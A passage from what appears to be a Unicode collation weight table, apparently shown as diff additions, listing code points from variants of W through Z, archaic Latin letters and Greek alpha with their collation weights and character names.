+1D61E ; [.1EF5.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL W
+1D652 ; [.1EF5.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL W
+1D686 ; [.1EF5.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL W
+24CC  ; [.1EF5.0020.000C] # CIRCLED LATIN CAPITAL LETTER W
+1F166 ; [.1EF5.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER W
+02B7  ; [.1EF5.0020.0014] # MODIFIER LETTER SMALL W
+1D42  ; [.1EF5.0020.001D] # MODIFIER LETTER CAPITAL W
+1F146 ; [.1EF5.0020.001D] # SQUARED LATIN CAPITAL LETTER W
+1F186 ; [.1EF5.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER W
+1E83  ; [.1EF5.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER W WITH ACUTE
+1E82  ; [.1EF5.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER W WITH ACUTE
+1E81  ; [.1EF5.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER W WITH GRAVE
+1E80  ; [.1EF5.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER W WITH GRAVE
+0175  ; [.1EF5.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER W WITH CIRCUMFLEX
+0174  ; [.1EF5.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER W WITH CIRCUMFLEX
+1E98  ; [.1EF5.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER W WITH RING ABOVE
+1E85  ; [.1EF5.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER W WITH DIAERESIS
+1E84  ; [.1EF5.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER W WITH DIAERESIS
+1E87  ; [.1EF5.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER W WITH DOT ABOVE
+1E86  ; [.1EF5.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER W WITH DOT ABOVE
+1E89  ; [.1EF5.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER W WITH DOT BELOW
+1E88  ; [.1EF5.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER W WITH DOT BELOW
+33DD  ; [.1EF5.0020.001D][.1C60.0020.001C] # SQUARE WB
+1F14F ; [.1EF5.0020.001D][.1C7A.0020.001D] # SQUARED WC
+1F18F ; [.1EF5.0020.001D][.1C7A.0020.001D] # NEGATIVE SQUARED WC
+1F12E ; [.1EF5.0020.000C][.1F21.0020.000C] # CIRCLED WZ
+1D21  ; [.1EF9.0020.0002] # LATIN LETTER SMALL CAPITAL W
+2C73  ; [.1EFA.0020.0002] # LATIN SMALL LETTER W WITH HOOK
+2C72  ; [.1EFA.0020.0008] # LATIN CAPITAL LETTER W WITH HOOK
+028D  ; [.1EFB.0020.0002] # LATIN SMALL LETTER TURNED W
+0078  ; [.1EFF.0020.0002] # LATIN SMALL LETTER X
+FF58  ; [.1EFF.0020.0003] # FULLWIDTH LATIN SMALL LETTER X
+036F  ; [.1EFF.0020.0004] # COMBINING LATIN SMALL LETTER X
+2179  ; [.1EFF.0020.0004] # SMALL ROMAN NUMERAL TEN
+24B3  ; [*0317.0020.0004][.1EFF.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER X
+1D431 ; [.1EFF.0020.0005] # MATHEMATICAL BOLD SMALL X
+1D465 ; [.1EFF.0020.0005] # MATHEMATICAL ITALIC SMALL X
+1D499 ; [.1EFF.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL X
+1D4CD ; [.1EFF.0020.0005] # MATHEMATICAL SCRIPT SMALL X
+1D501 ; [.1EFF.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL X
+1D535 ; [.1EFF.0020.0005] # MATHEMATICAL FRAKTUR SMALL X
+1D569 ; [.1EFF.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL X
+1D59D ; [.1EFF.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL X
+1D5D1 ; [.1EFF.0020.0005] # MATHEMATICAL SANS-SERIF SMALL X
+1D605 ; [.1EFF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL X
+1D639 ; [.1EFF.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL X
+1D66D ; [.1EFF.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL X
+1D6A1 ; [.1EFF.0020.0005] # MATHEMATICAL MONOSPACE SMALL X
+24E7  ; [.1EFF.0020.0006] # CIRCLED LATIN SMALL LETTER X
+0058  ; [.1EFF.0020.0008] # LATIN CAPITAL LETTER X
+FF38  ; [.1EFF.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER X
+2169  ; [.1EFF.0020.000A] # ROMAN NUMERAL TEN
+1F127 ; [*0317.0020.0004][.1EFF.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER X
+1D417 ; [.1EFF.0020.000B] # MATHEMATICAL BOLD CAPITAL X
+1D44B ; [.1EFF.0020.000B] # MATHEMATICAL ITALIC CAPITAL X
+1D47F ; [.1EFF.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL X
+1D4B3 ; [.1EFF.0020.000B] # MATHEMATICAL SCRIPT CAPITAL X
+1D4E7 ; [.1EFF.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL X
+1D51B ; [.1EFF.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL X
+1D54F ; [.1EFF.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL X
+1D583 ; [.1EFF.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL X
+1D5B7 ; [.1EFF.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL X
+1D5EB ; [.1EFF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL X
+1D61F ; [.1EFF.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL X
+1D653 ; [.1EFF.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL X
+1D687 ; [.1EFF.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL X
+24CD  ; [.1EFF.0020.000C] # CIRCLED LATIN CAPITAL LETTER X
+1F167 ; [.1EFF.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER X
+02E3  ; [.1EFF.0020.0014] # MODIFIER LETTER SMALL X
+2093  ; [.1EFF.0020.0015] # LATIN SUBSCRIPT SMALL LETTER X
+1F147 ; [.1EFF.0020.001D] # SQUARED LATIN CAPITAL LETTER X
+1F187 ; [.1EFF.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER X
+1E8D  ; [.1EFF.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER X WITH DIAERESIS
+1E8C  ; [.1EFF.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER X WITH DIAERESIS
+1E8B  ; [.1EFF.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER X WITH DOT ABOVE
+1E8A  ; [.1EFF.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER X WITH DOT ABOVE
+217A  ; [.1EFF.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL ELEVEN
+216A  ; [.1EFF.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL ELEVEN
+217B  ; [.1EFF.0020.0004][.1D32.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL TWELVE
+216B  ; [.1EFF.0020.000A][.1D32.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL TWELVE
+1D8D  ; [.1F03.0020.0002] # LATIN SMALL LETTER X WITH PALATAL HOOK
+AB56  ; [.1F04.0020.0002] # LATIN SMALL LETTER X WITH LOW RIGHT RING
+AB57  ; [.1F05.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG
+AB58  ; [.1F06.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG AND LOW RIGHT RING
+AB59  ; [.1F07.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG WITH SERIF
+AB53  ; [.1F08.0020.0002] # LATIN SMALL LETTER CHI
+A7B3  ; [.1F08.0020.0008] # LATIN CAPITAL LETTER CHI
+AB54  ; [.1F09.0020.0002] # LATIN SMALL LETTER CHI WITH LOW RIGHT RING
+AB55  ; [.1F0A.0020.0002] # LATIN SMALL LETTER CHI WITH LOW LEFT SERIF
+0079  ; [.1F0B.0020.0002] # LATIN SMALL LETTER Y
+FF59  ; [.1F0B.0020.0003] # FULLWIDTH LATIN SMALL LETTER Y
+24B4  ; [*0317.0020.0004][.1F0B.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER Y
+1D432 ; [.1F0B.0020.0005] # MATHEMATICAL BOLD SMALL Y
+1D466 ; [.1F0B.0020.0005] # MATHEMATICAL ITALIC SMALL Y
+1D49A ; [.1F0B.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Y
+1D4CE ; [.1F0B.0020.0005] # MATHEMATICAL SCRIPT SMALL Y
+1D502 ; [.1F0B.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Y
+1D536 ; [.1F0B.0020.0005] # MATHEMATICAL FRAKTUR SMALL Y
+1D56A ; [.1F0B.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Y
+1D59E ; [.1F0B.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Y
+1D5D2 ; [.1F0B.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Y
+1D606 ; [.1F0B.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Y
+1D63A ; [.1F0B.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Y
+1D66E ; [.1F0B.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Y
+1D6A2 ; [.1F0B.0020.0005] # MATHEMATICAL MONOSPACE SMALL Y
+24E8  ; [.1F0B.0020.0006] # CIRCLED LATIN SMALL LETTER Y
+0059  ; [.1F0B.0020.0008] # LATIN CAPITAL LETTER Y
+FF39  ; [.1F0B.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Y
+1F128 ; [*0317.0020.0004][.1F0B.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Y
+1D418 ; [.1F0B.0020.000B] # MATHEMATICAL BOLD CAPITAL Y
+1D44C ; [.1F0B.0020.000B] # MATHEMATICAL ITALIC CAPITAL Y
+1D480 ; [.1F0B.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Y
+1D4B4 ; [.1F0B.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Y
+1D4E8 ; [.1F0B.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Y
+1D51C ; [.1F0B.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL Y
+1D550 ; [.1F0B.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL Y
+1D584 ; [.1F0B.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Y
+1D5B8 ; [.1F0B.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Y
+1D5EC ; [.1F0B.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Y
+1D620 ; [.1F0B.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Y
+1D654 ; [.1F0B.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Y
+1D688 ; [.1F0B.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Y
+24CE  ; [.1F0B.0020.000C] # CIRCLED LATIN CAPITAL LETTER Y
+1F168 ; [.1F0B.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Y
+02B8  ; [.1F0B.0020.0014] # MODIFIER LETTER SMALL Y
+1F148 ; [.1F0B.0020.001D] # SQUARED LATIN CAPITAL LETTER Y
+1F188 ; [.1F0B.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Y
+00FD  ; [.1F0B.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER Y WITH ACUTE
+00DD  ; [.1F0B.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER Y WITH ACUTE
+1EF3  ; [.1F0B.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER Y WITH GRAVE
+1EF2  ; [.1F0B.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER Y WITH GRAVE
+0177  ; [.1F0B.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER Y WITH CIRCUMFLEX
+0176  ; [.1F0B.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER Y WITH CIRCUMFLEX
+1E99  ; [.1F0B.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER Y WITH RING ABOVE
+00FF  ; [.1F0B.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER Y WITH DIAERESIS
+0178  ; [.1F0B.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER Y WITH DIAERESIS
+1EF9  ; [.1F0B.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER Y WITH TILDE
+1EF8  ; [.1F0B.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER Y WITH TILDE
+1E8F  ; [.1F0B.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER Y WITH DOT ABOVE
+1E8E  ; [.1F0B.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER Y WITH DOT ABOVE
+0233  ; [.1F0B.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER Y WITH MACRON
+0232  ; [.1F0B.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER Y WITH MACRON
+1EF7  ; [.1F0B.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER Y WITH HOOK ABOVE
+1EF6  ; [.1F0B.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER Y WITH HOOK ABOVE
+1EF5  ; [.1F0B.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER Y WITH DOT BELOW
+1EF4  ; [.1F0B.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER Y WITH DOT BELOW
+028F  ; [.1F0F.0020.0002] # LATIN LETTER SMALL CAPITAL Y
+024F  ; [.1F13.0020.0002] # LATIN SMALL LETTER Y WITH STROKE
+024E  ; [.1F13.0020.0008] # LATIN CAPITAL LETTER Y WITH STROKE
+01B4  ; [.1F17.0020.0002] # LATIN SMALL LETTER Y WITH HOOK
+01B3  ; [.1F17.0020.0008] # LATIN CAPITAL LETTER Y WITH HOOK
+1EFF  ; [.1F1B.0020.0002] # LATIN SMALL LETTER Y WITH LOOP
+1EFE  ; [.1F1B.0020.0008] # LATIN CAPITAL LETTER Y WITH LOOP
+AB5A  ; [.1F1C.0020.0002] # LATIN SMALL LETTER Y WITH SHORT RIGHT LEG
+021D  ; [.1F1D.0020.0002] # LATIN SMALL LETTER YOGH
+021C  ; [.1F1D.0020.0008] # LATIN CAPITAL LETTER YOGH
+007A  ; [.1F21.0020.0002] # LATIN SMALL LETTER Z
+FF5A  ; [.1F21.0020.0003] # FULLWIDTH LATIN SMALL LETTER Z
+1DE6  ; [.1F21.0020.0004] # COMBINING LATIN SMALL LETTER Z
+24B5  ; [*0317.0020.0004][.1F21.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER Z
+1D433 ; [.1F21.0020.0005] # MATHEMATICAL BOLD SMALL Z
+1D467 ; [.1F21.0020.0005] # MATHEMATICAL ITALIC SMALL Z
+1D49B ; [.1F21.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Z
+1D4CF ; [.1F21.0020.0005] # MATHEMATICAL SCRIPT SMALL Z
+1D503 ; [.1F21.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Z
+1D537 ; [.1F21.0020.0005] # MATHEMATICAL FRAKTUR SMALL Z
+1D56B ; [.1F21.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Z
+1D59F ; [.1F21.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Z
+1D5D3 ; [.1F21.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Z
+1D607 ; [.1F21.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Z
+1D63B ; [.1F21.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Z
+1D66F ; [.1F21.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Z
+1D6A3 ; [.1F21.0020.0005] # MATHEMATICAL MONOSPACE SMALL Z
+24E9  ; [.1F21.0020.0006] # CIRCLED LATIN SMALL LETTER Z
+005A  ; [.1F21.0020.0008] # LATIN CAPITAL LETTER Z
+FF3A  ; [.1F21.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Z
+1F129 ; [*0317.0020.0004][.1F21.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Z
+2124  ; [.1F21.0020.000B] # DOUBLE-STRUCK CAPITAL Z
+2128  ; [.1F21.0020.000B] # BLACK-LETTER CAPITAL Z
+1D419 ; [.1F21.0020.000B] # MATHEMATICAL BOLD CAPITAL Z
+1D44D ; [.1F21.0020.000B] # MATHEMATICAL ITALIC CAPITAL Z
+1D481 ; [.1F21.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Z
+1D4B5 ; [.1F21.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Z
+1D4E9 ; [.1F21.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Z
+1D585 ; [.1F21.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Z
+1D5B9 ; [.1F21.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Z
+1D5ED ; [.1F21.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Z
+1D621 ; [.1F21.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Z
+1D655 ; [.1F21.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Z
+1D689 ; [.1F21.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Z
+24CF  ; [.1F21.0020.000C] # CIRCLED LATIN CAPITAL LETTER Z
+1F169 ; [.1F21.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Z
+1DBB  ; [.1F21.0020.0014] # MODIFIER LETTER SMALL Z
+1F149 ; [.1F21.0020.001D] # SQUARED LATIN CAPITAL LETTER Z
+1F189 ; [.1F21.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Z
+017A  ; [.1F21.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER Z WITH ACUTE
+0179  ; [.1F21.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER Z WITH ACUTE
+1E91  ; [.1F21.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER Z WITH CIRCUMFLEX
+1E90  ; [.1F21.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER Z WITH CIRCUMFLEX
+017E  ; [.1F21.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER Z WITH CARON
+017D  ; [.1F21.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER Z WITH CARON
+017C  ; [.1F21.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE
+017B  ; [.1F21.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER Z WITH DOT ABOVE
+1E93  ; [.1F21.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER Z WITH DOT BELOW
+1E92  ; [.1F21.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER Z WITH DOT BELOW
+1E95  ; [.1F21.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER Z WITH LINE BELOW
+1E94  ; [.1F21.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER Z WITH LINE BELOW
+018D  ; [.1F21.0020.0004][.1EF5.0020.0004] # LATIN SMALL LETTER TURNED DELTA
+1D22  ; [.1F25.0020.0002] # LATIN LETTER SMALL CAPITAL Z
+01B6  ; [.1F26.0020.0002] # LATIN SMALL LETTER Z WITH STROKE
+01B5  ; [.1F26.0020.0008] # LATIN CAPITAL LETTER Z WITH STROKE
+1D76  ; [.1F2A.0020.0002] # LATIN SMALL LETTER Z WITH MIDDLE TILDE
+1D8E  ; [.1F2B.0020.0002] # LATIN SMALL LETTER Z WITH PALATAL HOOK
+0225  ; [.1F2C.0020.0002] # LATIN SMALL LETTER Z WITH HOOK
+0224  ; [.1F2C.0020.0008] # LATIN CAPITAL LETTER Z WITH HOOK
+0290  ; [.1F30.0020.0002] # LATIN SMALL LETTER Z WITH RETROFLEX HOOK
+1DBC  ; [.1F30.0020.0014] # MODIFIER LETTER SMALL Z WITH RETROFLEX HOOK
+0291  ; [.1F34.0020.0002] # LATIN SMALL LETTER Z WITH CURL
+1DBD  ; [.1F34.0020.0014] # MODIFIER LETTER SMALL Z WITH CURL
+0240  ; [.1F38.0020.0002] # LATIN SMALL LETTER Z WITH SWASH TAIL
+2C7F  ; [.1F38.0020.0008] # LATIN CAPITAL LETTER Z WITH SWASH TAIL
+2C6C  ; [.1F3C.0020.0002] # LATIN SMALL LETTER Z WITH DESCENDER
+2C6B  ; [.1F3C.0020.0008] # LATIN CAPITAL LETTER Z WITH DESCENDER
+A763  ; [.1F3D.0020.0002] # LATIN SMALL LETTER VISIGOTHIC Z
+A762  ; [.1F3D.0020.0008] # LATIN CAPITAL LETTER VISIGOTHIC Z
+0292  ; [.1F3E.0020.0002] # LATIN SMALL LETTER EZH
+01B7  ; [.1F3E.0020.0008] # LATIN CAPITAL LETTER EZH
+1DBE  ; [.1F3E.0020.0014] # MODIFIER LETTER SMALL EZH
+01EF  ; [.1F3E.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON
+01EE  ; [.1F3E.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON
+1D23  ; [.1F42.0020.0002] # LATIN LETTER SMALL CAPITAL EZH
+01B9  ; [.1F43.0020.0002] # LATIN SMALL LETTER EZH REVERSED
+01B8  ; [.1F43.0020.0008] # LATIN CAPITAL LETTER EZH REVERSED
+1D9A  ; [.1F47.0020.0002] # LATIN SMALL LETTER EZH WITH RETROFLEX HOOK
+01BA  ; [.1F48.0020.0002] # LATIN SMALL LETTER EZH WITH TAIL
+0293  ; [.1F4C.0020.0002] # LATIN SMALL LETTER EZH WITH CURL
+00FE  ; [.1F50.0020.0002] # LATIN SMALL LETTER THORN
+00DE  ; [.1F50.0020.0008] # LATIN CAPITAL LETTER THORN
+A765  ; [.1F54.0020.0002] # LATIN SMALL LETTER THORN WITH STROKE
+A764  ; [.1F54.0020.0008] # LATIN CAPITAL LETTER THORN WITH STROKE
+A767  ; [.1F55.0020.0002] # LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER
+A766  ; [.1F55.0020.0008] # LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER
+01BF  ; [.1F56.0020.0002] # LATIN LETTER WYNN
+01F7  ; [.1F56.0020.0008] # LATIN CAPITAL LETTER WYNN
+A769  ; [.1F5A.0020.0002] # LATIN SMALL LETTER VEND
+A768  ; [.1F5A.0020.0008] # LATIN CAPITAL LETTER VEND
+AB60  ; [.1F5B.0020.0002] # LATIN SMALL LETTER SAKHA YAT
+AB61  ; [.1F5C.0020.0002] # LATIN SMALL LETTER IOTIFIED E
+AB63  ; [.1F5D.0020.0002] # LATIN SMALL LETTER UO
+A76B  ; [.1F5E.0020.0002] # LATIN SMALL LETTER ET
+A76A  ; [.1F5E.0020.0008] # LATIN CAPITAL LETTER ET
+A76D  ; [.1F5F.0020.0002] # LATIN SMALL LETTER IS
+A76C  ; [.1F5F.0020.0008] # LATIN CAPITAL LETTER IS
+A76F  ; [.1F60.0020.0002] # LATIN SMALL LETTER CON
+1DD2  ; [.1F60.0020.0004] # COMBINING US ABOVE
+A76E  ; [.1F60.0020.0008] # LATIN CAPITAL LETTER CON
+A770  ; [.1F60.0020.0014] # MODIFIER LETTER US
+A778  ; [.1F61.0020.0002] # LATIN SMALL LETTER UM
+01BB  ; [.1F62.0020.0002] # LATIN LETTER TWO WITH STROKE
+A72B  ; [.1F66.0020.0002] # LATIN SMALL LETTER TRESILLO
+A72A  ; [.1F66.0020.0008] # LATIN CAPITAL LETTER TRESILLO
+A72D  ; [.1F67.0020.0002] # LATIN SMALL LETTER CUATRILLO
+A72C  ; [.1F67.0020.0008] # LATIN CAPITAL LETTER CUATRILLO
+A72F  ; [.1F68.0020.0002] # LATIN SMALL LETTER CUATRILLO WITH COMMA
+A72E  ; [.1F68.0020.0008] # LATIN CAPITAL LETTER CUATRILLO WITH COMMA
+01A8  ; [.1F69.0020.0002] # LATIN SMALL LETTER TONE TWO
+01A7  ; [.1F69.0020.0008] # LATIN CAPITAL LETTER TONE TWO
+01BD  ; [.1F6D.0020.0002] # LATIN SMALL LETTER TONE FIVE
+01BC  ; [.1F6D.0020.0008] # LATIN CAPITAL LETTER TONE FIVE
+0185  ; [.1F71.0020.0002] # LATIN SMALL LETTER TONE SIX
+0184  ; [.1F71.0020.0008] # LATIN CAPITAL LETTER TONE SIX
+0294  ; [.1F75.0020.0002] # LATIN LETTER GLOTTAL STOP
+0242  ; [.1F79.0020.0002] # LATIN SMALL LETTER GLOTTAL STOP
+0241  ; [.1F79.0020.0008] # LATIN CAPITAL LETTER GLOTTAL STOP
+02C0  ; [.1F7D.0020.0002] # MODIFIER LETTER GLOTTAL STOP
+02BC  ; [.1F7E.0020.0002] # MODIFIER LETTER APOSTROPHE
+0149  ; [.1F7E.0020.0004][.1DB9.0020.0004] # LATIN SMALL LETTER N PRECEDED BY APOSTROPHE
+02EE  ; [.1F7F.0020.0002] # MODIFIER LETTER DOUBLE APOSTROPHE
+02BE  ; [.1F80.0020.0002] # MODIFIER LETTER RIGHT HALF RING
+A723  ; [.1F81.0020.0002] # LATIN SMALL LETTER EGYPTOLOGICAL ALEF
+A722  ; [.1F81.0020.0008] # LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF
+A78C  ; [.1F82.0020.0002] # LATIN SMALL LETTER SALTILLO
+A78B  ; [.1F82.0020.0008] # LATIN CAPITAL LETTER SALTILLO
+A78F  ; [.1F83.0020.0002] # LATIN LETTER SINOLOGICAL DOT
+0295  ; [.1F84.0020.0002] # LATIN LETTER PHARYNGEAL VOICED FRICATIVE
+02E4  ; [.1F84.0020.0014] # MODIFIER LETTER SMALL REVERSED GLOTTAL STOP
+02BF  ; [.1F88.0020.0002] # MODIFIER LETTER LEFT HALF RING
+02C1  ; [.1F89.0020.0002] # MODIFIER LETTER REVERSED GLOTTAL STOP
+1D24  ; [.1F8A.0020.0002] # LATIN LETTER VOICED LARYNGEAL SPIRANT
+1D25  ; [.1F8B.0020.0002] # LATIN LETTER AIN
+1D5C  ; [.1F8B.0020.0014] # MODIFIER LETTER SMALL AIN
+A725  ; [.1F8C.0020.0002] # LATIN SMALL LETTER EGYPTOLOGICAL AIN
+A724  ; [.1F8C.0020.0008] # LATIN CAPITAL LETTER EGYPTOLOGICAL AIN
+02A1  ; [.1F8D.0020.0002] # LATIN LETTER GLOTTAL STOP WITH STROKE
+02A2  ; [.1F91.0020.0002] # LATIN LETTER REVERSED GLOTTAL STOP WITH STROKE
+0296  ; [.1F95.0020.0002] # LATIN LETTER INVERTED GLOTTAL STOP
+01C0  ; [.1F99.0020.0002] # LATIN LETTER DENTAL CLICK
+01C1  ; [.1F9D.0020.0002] # LATIN LETTER LATERAL CLICK
+01C2  ; [.1FA1.0020.0002] # LATIN LETTER ALVEOLAR CLICK
+01C3  ; [.1FA5.0020.0002] # LATIN LETTER RETROFLEX CLICK
+0297  ; [.1FA9.0020.0002] # LATIN LETTER STRETCHED C
+0298  ; [.1FAD.0020.0002] # LATIN LETTER BILABIAL CLICK
+02AC  ; [.1FB1.0020.0002] # LATIN LETTER BILABIAL PERCUSSIVE
+02AD  ; [.1FB5.0020.0002] # LATIN LETTER BIDENTAL PERCUSSIVE
+03B1  ; [.1FB9.0020.0002] # GREEK SMALL LETTER ALPHA
+1D6C2 ; [.1FB9.0020.0005] # MATHEMATICAL BOLD SMALL ALPHA
+1D6FC ; [.1FB9.0020.0005] # MATHEMATICAL ITALIC SMALL ALPHA
+1D736 ; [.1FB9.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ALPHA
+1D770 ; [.1FB9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ALPHA
+1D7AA ; [.1FB9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ALPHA
+0391  ; [.1FB9.0020.0008] # GREEK CAPITAL LETTER ALPHA
+1D6A8 ; [.1FB9.0020.000B] # MATHEMATICAL BOLD CAPITAL ALPHA
+1D6E2 ; [.1FB9.0020.000B] # MATHEMATICAL ITALIC CAPITAL ALPHA
+1D71C ; [.1FB9.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ALPHA
+1D756 ; [.1FB9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ALPHA
+1D790 ; [.1FB9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ALPHA
+1F00  ; [.1FB9.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER ALPHA WITH PSILI
+1F08  ; [.1FB9.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI
+1F04  ; [.1FB9.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA
